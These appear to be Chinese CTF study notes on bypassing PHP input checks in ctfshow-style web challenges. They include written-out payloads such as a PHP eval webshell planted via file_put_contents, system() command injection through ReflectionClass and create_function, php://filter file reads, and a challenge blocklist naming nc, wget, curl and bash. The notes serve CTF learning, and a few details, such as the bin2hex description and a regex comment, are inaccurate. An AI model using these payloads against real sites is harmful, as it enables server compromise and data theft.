目录
ReflectionClass:反射类,eval("echo new $v1($v2());");
preg_match()
preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。
情况1:get方式传入num参数,然后通过preg_match判断是否存在数字,如果存在,就die,不存在的话然后intval函数判断整数,通过数组绕过preg_match,因为preg_match无法处理数组
情况2:if(preg_match('/^php$/im', $a)) ^ $一个是前面一个是后面,输入必须是php
if(preg_match('/^php$/i', $a))
/i 表示匹配的时候不区分大小写
/m 表示多行匹配,什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
这里主要的突破点就是/m,我们可以看到第一个preg_match()函数,有个/m,而第二个正则则没有,我们可以利用换行进行绕过
payload:?cmd=%0aphp
注释:%0a是换行的意思
情况3:
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
.
表示任意单个
字符,+
表示必须匹配1次或多次
,+?
表示 重复1次或更多次
,但尽可能少重复
所以在ctfshow前面必须有至少
一个字符,才会返回true
所以构造playload:f=ctfshow
,即可绕过preg_match函数
intval
情况1:所以intval是支持不同的进制的,这里base指定是0,那么intval会根据我们输入情况使用进制,
所以这里我就就可以用16进制或八进制表示4476
?num=0×117c //十六进制
?num=010574 //八进制
intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476
?num=4476a //字符串
情况2:在弱比较中(==),4476a与4476相等
intval()函数如果$base
为0则$var
中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
if($num==4476){ // 4476e123=4476×10^123 显然不等于4476,成功绕过
if(intval($num,0)==4476){ //intval在处理数据时,只读取字母前面的数据,即4476,ok
?num=0x117c //十六进制
?num=010574 //八进制
?num=4476e123
strpos()函数
对于strpos()函数,我们可以利用换行进行绕过(%0a)
payload:?num=%0a010574
也可以小数点绕过
payload:?num=4476.0
因为intval()函数只读取整数部分
还可以八进制绕过(%20是空格的url编码形式)
payload:?num=%20010574
?num= 010574 // 前面加个空格
?num=+010574
?num=+4476.0
可以空格或者,%20(空格的编码)绕过
?num= 010574
伪协议绕过
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
?u=/var/www/html/flag.php 绝对路径
?u=./flag.php 相对路径
?u=php://filter/resource=flag.php php伪协议
array_push in_array
array_push($allow, rand(1,$i)); 是把rand(1,$i)产生随机数,存入数组allow
in_array(value,array,type) 弱比较特性,'0.php'==0
value :要搜索的值
array : 被搜索的数组
type : 类型,true全等 ,false非全等(默认)
in_array($_GET['n'], $allow)是可以看allow数组中,是否可以组成n,比如n是123,而数组有,1,2,3则正确
file_put_contents
ile_put_contents() 函数用于把字符串写入文件,成功返回写入到文件内数据的字节数,失败则返回 FALSE。
int file_put_contents ( string filename, string data [, int flags [, resource context]] ) 写入哪,写什么
file_put_contents($_GET['n'], $_POST['content']);
?n=123.php
post传参
content=<?php @eval($_POST[a]);?>
a=system('ls');
a=system('cat flag36d.php');
或者
?n=1.php
post传参
content=<?php system('cat flag36d.php');?>
把 一句话木马写到,123.php
call_user_func
第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。
bin2hex
把十六进制值转换为 ASCII 字符
例如:<?php
echo hex2bin("5044383959474e6864434171594473");
?> 就是它<?='cat *';
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)也是可以识别为数字的
sha1()
sha1()函数无法处理数组类型,将报错并返回false
sha1()函数的弱相等
if(sha1($v1)==sha1($v2) && $v1!=$v2)
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m 都是符合
parse_str
parse_str — 将字符串解析成多个变量
$a='q=123&p=456';
parse_str($a,$b);
echo $b['q']; //输出123
echo $b['p']; //输出456
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
例如,这里就可以通过,让 v3等于 1,而v2却决与v1,v1=flag=1的md5 32位编码 ,或者弱比较也可以绕过
?v3=QNKCDZO
v1=flag=0e830400451993494058024219903391
strrev
0x36d的十进制为877,strrev是反转字符串,778
内置类:
ReflectionClass:反射类,eval("echo new $v1($v2());");
?v1=ReflectionClass&v2=system('ls')
?v1=ReflectionClass&v2=system('cat fl36dg.txt')
获取目录文件
getcwd()函数取得当前工作目录getcwd()函数
?v1=FilesystemIterator&v2=getcwd
之后访问fl36dga.txt
联合使用,和Filesystemlterator
$GLOBALS
引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键
$a=123;
$b=456;
var_dump($GLOBALS);
["a"]=>
int(123)
["b"]=>
int(456)
is_file()函数检查指定的文件名是否是正常的文件。
我们的目的是不能让is_file
检测出是文件,并且 highlight_file
可以识别为文件。这时候可以利用php伪协议
if(! is_file($file)){
highlight_file(filter($file));
}
可以直接用不带任何过滤器的filter伪协议
payload:file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
linux里/proc/self/root
是指向根目录的,也就是如果在命令行中输入ls /proc/self/root
,其实显示的内容是根目录下的内容
多次重复后绕过is_file
。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
trim()
if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
看见 num!=='36' 后面又又num=='36' 会很矛盾,但其实前面是一个强比较,后面是一个弱比较
弱比较会过滤前面没用的字符,
发现除了±.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了
?num=%0C36
一些符号绕过
php中点、空格,会被转化为下划线,【应该也可以,在下划线被过滤时有用
stripos函数
采用数组
绕过的方法,stripos函数
会返回null
,null!=false
,所以可以绕过stripos函数
查找字符串在另一字符串中第一次出现的位置(不区分大小写)
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
get传参:
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../var/www/html/flag.php
?f=./ctfshow/../flag.php
Linux tee命令
常见用例: tee file //覆盖
tee -a file //追加
tee - //输出到标准输出两次 tee - - //输出到标准输出三次
tee file1 file2 - //输出到标准输出两次,并写到那两个文件中
ls | tee file
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
?c=ls \|tee 1
//将根目录下的内容写入1
访问1,下载文件发现f149_15_h3r3
?c=nl /f149_15_h3r3|tee 1 或者?c=cat / fl4g....
访问1,下载文件得flag
static 静态类
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
静态类,可以直接调用,不需要实例化对象就可以绕过不执行魔术方法
POST传参:
ctfshow=ctfshow::getFlag
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
所以同样是绕过,用静态,
POST传参:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
create_function ()代码注入
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { 不能以字母开头
$ctfshow('',$_GET['show']);
}
}
原理 就是}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
GET:?show=}system("cat f*");/* }是闭合前面的if, /*是注释后面的}
POST:ctf=\create_function